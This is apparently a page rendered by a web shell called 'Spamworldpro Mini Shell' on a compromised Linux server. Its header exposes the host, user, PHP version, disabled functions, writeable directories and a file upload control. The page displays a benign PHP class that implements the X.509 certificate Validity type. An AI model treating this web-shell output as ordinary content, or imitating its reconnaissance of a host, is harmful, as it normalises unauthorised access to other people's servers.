Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/spomky-labs/pki-framework/src/X509/Certificate/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/spomky-labs/pki-framework/src/X509/Certificate/Validity.php
<?php

declare(strict_types=1);

namespace SpomkyLabs\Pki\X509\Certificate;

use SpomkyLabs\Pki\ASN1\Type\Constructed\Sequence;

/**
 * Implements *Validity* ASN.1 type.
 *
 * @see https://tools.ietf.org/html/rfc5280#section-4.1.2.5
 */
final class Validity
{
    private function __construct(
        private readonly Time $notBefore,
        private readonly Time $notAfter
    ) {
    }

    public static function create(Time $notBefore, Time $notAfter): self
    {
        return new self($notBefore, $notAfter);
    }

    /**
     * Initialize from ASN.1.
     */
    public static function fromASN1(Sequence $seq): self
    {
        $nb = Time::fromASN1($seq->at(0)->asTime());
        $na = Time::fromASN1($seq->at(1)->asTime());
        return self::create($nb, $na);
    }

    /**
     * Initialize from date strings.
     *
     * @param null|string $nb_date Not before date
     * @param null|string $na_date Not after date
     * @param null|string $tz Timezone string
     */
    public static function fromStrings(?string $nb_date, ?string $na_date, ?string $tz = null): self
    {
        return self::create(Time::fromString($nb_date, $tz), Time::fromString($na_date, $tz));
    }

    /**
     * Get not before time.
     */
    public function notBefore(): Time
    {
        return $this->notBefore;
    }

    /**
     * Get not after time.
     */
    public function notAfter(): Time
    {
        return $this->notAfter;
    }

    /**
     * Generate ASN.1 structure.
     */
    public function toASN1(): Sequence
    {
        return Sequence::create($this->notBefore->toASN1(), $this->notAfter->toASN1());
    }
}

Spamworldpro Mini